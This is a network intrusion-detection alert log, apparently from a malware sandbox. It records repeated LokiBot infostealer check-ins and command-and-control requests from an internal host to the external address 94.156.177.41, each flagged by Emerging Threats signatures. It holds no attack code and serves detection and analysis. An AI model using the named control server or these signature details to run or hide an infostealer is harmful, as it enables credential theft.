2024-11-20T10:57:41.280822+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58499	94.156.177.41	80	TCP
2024-11-20T10:57:42.026338+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58499	94.156.177.41	80	TCP
2024-11-20T10:57:42.026338+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58499	94.156.177.41	80	TCP
2024-11-20T10:57:42.033745+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58499	TCP
2024-11-20T10:57:42.194530+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58500	94.156.177.41	80	TCP
2024-11-20T10:57:42.194530+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58500	94.156.177.41	80	TCP
2024-11-20T10:57:42.194530+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58500	94.156.177.41	80	TCP
2024-11-20T10:57:42.950176+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58500	94.156.177.41	80	TCP
2024-11-20T10:57:42.950176+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58500	94.156.177.41	80	TCP
2024-11-20T10:57:42.955102+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58500	TCP
2024-11-20T10:57:43.109049+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58501	94.156.177.41	80	TCP
2024-11-20T10:57:43.109049+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58501	94.156.177.41	80	TCP
2024-11-20T10:57:43.109049+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58501	94.156.177.41	80	TCP
2024-11-20T10:57:43.869492+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58501	94.156.177.41	80	TCP
2024-11-20T10:57:43.869492+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58501	94.156.177.41	80	TCP
2024-11-20T10:57:43.877806+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58501	TCP
2024-11-20T10:57:44.036671+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58502	94.156.177.41	80	TCP
2024-11-20T10:57:44.036671+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58502	94.156.177.41	80	TCP
2024-11-20T10:57:44.036671+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58502	94.156.177.41	80	TCP
2024-11-20T10:57:44.776690+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58502	94.156.177.41	80	TCP
2024-11-20T10:57:44.776690+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58502	94.156.177.41	80	TCP
2024-11-20T10:57:44.784399+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58502	TCP
2024-11-20T10:57:44.953136+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58503	94.156.177.41	80	TCP
2024-11-20T10:57:44.953136+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58503	94.156.177.41	80	TCP
2024-11-20T10:57:44.953136+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58503	94.156.177.41	80	TCP
2024-11-20T10:57:45.698675+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58503	94.156.177.41	80	TCP
2024-11-20T10:57:45.698675+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58503	94.156.177.41	80	TCP
2024-11-20T10:57:45.703555+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58503	TCP
2024-11-20T10:57:45.861829+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58504	94.156.177.41	80	TCP
2024-11-20T10:57:45.861829+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58504	94.156.177.41	80	TCP
2024-11-20T10:57:45.861829+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58504	94.156.177.41	80	TCP
2024-11-20T10:57:46.613808+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58504	94.156.177.41	80	TCP
2024-11-20T10:57:46.613808+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58504	94.156.177.41	80	TCP
2024-11-20T10:57:46.618695+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58504	TCP
2024-11-20T10:57:46.774217+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58505	94.156.177.41	80	TCP
2024-11-20T10:57:46.774217+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58505	94.156.177.41	80	TCP
2024-11-20T10:57:46.774217+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58505	94.156.177.41	80	TCP
2024-11-20T10:57:47.563624+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58505	94.156.177.41	80	TCP
2024-11-20T10:57:47.563624+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58505	94.156.177.41	80	TCP
2024-11-20T10:57:47.570860+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58505	TCP
2024-11-20T10:57:47.730504+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58506	94.156.177.41	80	TCP
2024-11-20T10:57:47.730504+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58506	94.156.177.41	80	TCP
2024-11-20T10:57:47.730504+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58506	94.156.177.41	80	TCP
2024-11-20T10:57:48.462037+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58506	94.156.177.41	80	TCP
2024-11-20T10:57:48.462037+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58506	94.156.177.41	80	TCP
2024-11-20T10:57:48.467331+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58506	TCP
2024-11-20T10:57:48.614779+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58507	94.156.177.41	80	TCP
2024-11-20T10:57:48.614779+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58507	94.156.177.41	80	TCP
2024-11-20T10:57:48.614779+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58507	94.156.177.41	80	TCP
2024-11-20T10:57:49.351507+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58507	94.156.177.41	80	TCP
2024-11-20T10:57:49.351507+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58507	94.156.177.41	80	TCP
2024-11-20T10:57:49.360365+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58507	TCP
2024-11-20T10:57:49.520289+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58508	94.156.177.41	80	TCP
2024-11-20T10:57:49.520289+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58508	94.156.177.41	80	TCP
2024-11-20T10:57:49.520289+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58508	94.156.177.41	80	TCP
2024-11-20T10:57:50.261043+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58508	94.156.177.41	80	TCP
2024-11-20T10:57:50.261043+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58508	94.156.177.41	80	TCP
2024-11-20T10:57:50.268579+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58508	TCP
2024-11-20T10:57:50.448704+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58509	94.156.177.41	80	TCP
2024-11-20T10:57:50.448704+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58509	94.156.177.41	80	TCP
2024-11-20T10:57:50.448704+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58509	94.156.177.41	80	TCP
2024-11-20T10:57:51.211483+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58509	94.156.177.41	80	TCP
2024-11-20T10:57:51.211483+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58509	94.156.177.41	80	TCP
2024-11-20T10:57:51.219567+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58509	TCP
2024-11-20T10:57:51.379035+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58510	94.156.177.41	80	TCP
2024-11-20T10:57:51.379035+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58510	94.156.177.41	80	TCP
2024-11-20T10:57:51.379035+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58510	94.156.177.41	80	TCP
2024-11-20T10:57:52.132109+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58510	94.156.177.41	80	TCP
2024-11-20T10:57:52.132109+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58510	94.156.177.41	80	TCP
2024-11-20T10:57:52.140914+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58510	TCP
2024-11-20T10:57:52.282631+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58511	94.156.177.41	80	TCP
2024-11-20T10:57:52.282631+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58511	94.156.177.41	80	TCP
2024-11-20T10:57:52.282631+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58511	94.156.177.41	80	TCP
2024-11-20T10:57:53.044496+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58511	94.156.177.41	80	TCP
2024-11-20T10:57:53.044496+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58511	94.156.177.41	80	TCP
2024-11-20T10:57:53.049334+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58511	TCP
2024-11-20T10:57:53.201630+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58512	94.156.177.41	80	TCP
2024-11-20T10:57:53.201630+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58512	94.156.177.41	80	TCP
2024-11-20T10:57:53.201630+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58512	94.156.177.41	80	TCP
2024-11-20T10:57:53.951456+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58512	94.156.177.41	80	TCP
2024-11-20T10:57:53.951456+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58512	94.156.177.41	80	TCP
2024-11-20T10:57:53.956364+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58512	TCP
2024-11-20T10:57:54.109455+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58513	94.156.177.41	80	TCP
2024-11-20T10:57:54.109455+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58513	94.156.177.41	80	TCP
2024-11-20T10:57:54.109455+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58513	94.156.177.41	80	TCP
2024-11-20T10:57:54.873081+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58513	94.156.177.41	80	TCP
2024-11-20T10:57:54.873081+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58513	94.156.177.41	80	TCP
2024-11-20T10:57:54.880536+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58513	TCP
2024-11-20T10:57:55.033419+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58514	94.156.177.41	80	TCP
2024-11-20T10:57:55.033419+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58514	94.156.177.41	80	TCP
2024-11-20T10:57:55.033419+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58514	94.156.177.41	80	TCP
2024-11-20T10:57:55.757238+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58514	94.156.177.41	80	TCP
2024-11-20T10:57:55.757238+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58514	94.156.177.41	80	TCP
2024-11-20T10:57:55.762200+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58514	TCP
2024-11-20T10:57:56.039529+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58515	94.156.177.41	80	TCP
2024-11-20T10:57:56.039529+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58515	94.156.177.41	80	TCP
2024-11-20T10:57:56.039529+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58515	94.156.177.41	80	TCP
2024-11-20T10:57:56.797067+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58515	94.156.177.41	80	TCP
2024-11-20T10:57:56.797067+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58515	94.156.177.41	80	TCP
2024-11-20T10:57:56.804995+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58515	TCP
2024-11-20T10:57:56.955480+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58516	94.156.177.41	80	TCP
2024-11-20T10:57:56.955480+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58516	94.156.177.41	80	TCP
2024-11-20T10:57:56.955480+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58516	94.156.177.41	80	TCP
2024-11-20T10:57:57.812611+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58516	94.156.177.41	80	TCP
2024-11-20T10:57:57.812611+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58516	94.156.177.41	80	TCP
2024-11-20T10:57:57.817446+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58516	TCP
2024-11-20T10:57:57.984069+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58518	94.156.177.41	80	TCP
2024-11-20T10:57:57.984069+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58518	94.156.177.41	80	TCP
2024-11-20T10:57:57.984069+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58518	94.156.177.41	80	TCP
2024-11-20T10:57:58.732769+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58518	94.156.177.41	80	TCP
2024-11-20T10:57:58.732769+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58518	94.156.177.41	80	TCP
2024-11-20T10:57:58.738049+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58518	TCP
2024-11-20T10:57:58.889596+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58524	94.156.177.41	80	TCP
2024-11-20T10:57:58.889596+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58524	94.156.177.41	80	TCP
2024-11-20T10:57:58.889596+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58524	94.156.177.41	80	TCP
2024-11-20T10:57:59.631770+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58524	94.156.177.41	80	TCP
2024-11-20T10:57:59.631770+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58524	94.156.177.41	80	TCP
2024-11-20T10:57:59.636685+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58524	TCP
2024-11-20T10:57:59.787877+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58530	94.156.177.41	80	TCP
2024-11-20T10:57:59.787877+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58530	94.156.177.41	80	TCP
2024-11-20T10:57:59.787877+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58530	94.156.177.41	80	TCP
2024-11-20T10:58:00.539641+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58530	94.156.177.41	80	TCP
2024-11-20T10:58:00.539641+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58530	94.156.177.41	80	TCP
2024-11-20T10:58:00.545760+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58530	TCP
2024-11-20T10:58:00.691489+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58536	94.156.177.41	80	TCP
2024-11-20T10:58:00.691489+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58536	94.156.177.41	80	TCP
2024-11-20T10:58:00.691489+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58536	94.156.177.41	80	TCP
2024-11-20T10:58:01.431288+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58536	94.156.177.41	80	TCP
2024-11-20T10:58:01.431288+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58536	94.156.177.41	80	TCP
2024-11-20T10:58:01.438503+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58536	TCP
2024-11-20T10:58:01.582641+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58543	94.156.177.41	80	TCP
2024-11-20T10:58:01.582641+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58543	94.156.177.41	80	TCP
2024-11-20T10:58:01.582641+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58543	94.156.177.41	80	TCP
2024-11-20T10:58:02.329621+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58543	94.156.177.41	80	TCP
2024-11-20T10:58:02.329621+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58543	94.156.177.41	80	TCP
2024-11-20T10:58:02.348681+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58543	TCP
2024-11-20T10:58:02.624665+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58553	94.156.177.41	80	TCP
2024-11-20T10:58:02.624665+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58553	94.156.177.41	80	TCP
2024-11-20T10:58:02.624665+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58553	94.156.177.41	80	TCP
2024-11-20T10:58:03.354106+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58553	94.156.177.41	80	TCP
2024-11-20T10:58:03.354106+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58553	94.156.177.41	80	TCP
2024-11-20T10:58:03.364160+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58553	TCP
2024-11-20T10:58:03.519338+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58559	94.156.177.41	80	TCP
2024-11-20T10:58:03.519338+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58559	94.156.177.41	80	TCP
2024-11-20T10:58:03.519338+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58559	94.156.177.41	80	TCP
2024-11-20T10:58:04.399422+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58559	94.156.177.41	80	TCP
2024-11-20T10:58:04.399422+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58559	94.156.177.41	80	TCP
2024-11-20T10:58:04.406032+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58559	TCP
2024-11-20T10:58:04.545050+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58565	94.156.177.41	80	TCP
2024-11-20T10:58:04.545050+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58565	94.156.177.41	80	TCP
2024-11-20T10:58:04.545050+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58565	94.156.177.41	80	TCP
2024-11-20T10:58:05.306460+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58565	94.156.177.41	80	TCP
2024-11-20T10:58:05.306460+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58565	94.156.177.41	80	TCP
2024-11-20T10:58:05.314152+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58565	TCP
2024-11-20T10:58:05.453999+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58572	94.156.177.41	80	TCP
2024-11-20T10:58:05.453999+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58572	94.156.177.41	80	TCP
2024-11-20T10:58:05.453999+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58572	94.156.177.41	80	TCP
2024-11-20T10:58:06.207266+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58572	94.156.177.41	80	TCP
2024-11-20T10:58:06.207266+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58572	94.156.177.41	80	TCP
2024-11-20T10:58:06.214440+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58572	TCP
2024-11-20T10:58:06.367844+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58582	94.156.177.41	80	TCP
2024-11-20T10:58:06.367844+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58582	94.156.177.41	80	TCP
2024-11-20T10:58:06.367844+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58582	94.156.177.41	80	TCP
2024-11-20T10:58:07.123685+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58582	94.156.177.41	80	TCP
2024-11-20T10:58:07.123685+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58582	94.156.177.41	80	TCP
2024-11-20T10:58:07.131818+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58582	TCP
2024-11-20T10:58:07.287006+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58588	94.156.177.41	80	TCP
2024-11-20T10:58:07.287006+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58588	94.156.177.41	80	TCP
2024-11-20T10:58:07.287006+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58588	94.156.177.41	80	TCP
2024-11-20T10:58:08.022326+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58588	94.156.177.41	80	TCP
2024-11-20T10:58:08.022326+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58588	94.156.177.41	80	TCP
2024-11-20T10:58:08.029885+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58588	TCP
2024-11-20T10:58:08.176054+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58594	94.156.177.41	80	TCP
2024-11-20T10:58:08.176054+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58594	94.156.177.41	80	TCP
2024-11-20T10:58:08.176054+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58594	94.156.177.41	80	TCP
2024-11-20T10:58:08.911860+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58594	94.156.177.41	80	TCP
2024-11-20T10:58:08.911860+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58594	94.156.177.41	80	TCP
2024-11-20T10:58:08.916984+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58594	TCP
2024-11-20T10:58:09.065860+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58600	94.156.177.41	80	TCP
2024-11-20T10:58:09.065860+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58600	94.156.177.41	80	TCP
2024-11-20T10:58:09.065860+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58600	94.156.177.41	80	TCP
2024-11-20T10:58:09.796821+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58600	94.156.177.41	80	TCP
2024-11-20T10:58:09.796821+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58600	94.156.177.41	80	TCP
2024-11-20T10:58:09.804164+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58600	TCP
2024-11-20T10:58:09.959629+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58606	94.156.177.41	80	TCP
2024-11-20T10:58:09.959629+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58606	94.156.177.41	80	TCP
2024-11-20T10:58:09.959629+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58606	94.156.177.41	80	TCP
2024-11-20T10:58:10.692365+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58606	94.156.177.41	80	TCP
2024-11-20T10:58:10.692365+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58606	94.156.177.41	80	TCP
2024-11-20T10:58:10.701298+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58606	TCP
2024-11-20T10:58:10.847503+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58613	94.156.177.41	80	TCP
2024-11-20T10:58:10.847503+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58613	94.156.177.41	80	TCP
2024-11-20T10:58:10.847503+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58613	94.156.177.41	80	TCP
2024-11-20T10:58:11.593143+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58613	94.156.177.41	80	TCP
2024-11-20T10:58:11.593143+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58613	94.156.177.41	80	TCP
2024-11-20T10:58:11.600677+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58613	TCP
2024-11-20T10:58:11.824399+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58623	94.156.177.41	80	TCP
2024-11-20T10:58:11.824399+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58623	94.156.177.41	80	TCP
2024-11-20T10:58:11.824399+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58623	94.156.177.41	80	TCP
2024-11-20T10:58:12.566744+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58623	94.156.177.41	80	TCP
2024-11-20T10:58:12.566744+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58623	94.156.177.41	80	TCP
2024-11-20T10:58:12.573029+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58623	TCP
2024-11-20T10:58:12.724589+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58629	94.156.177.41	80	TCP
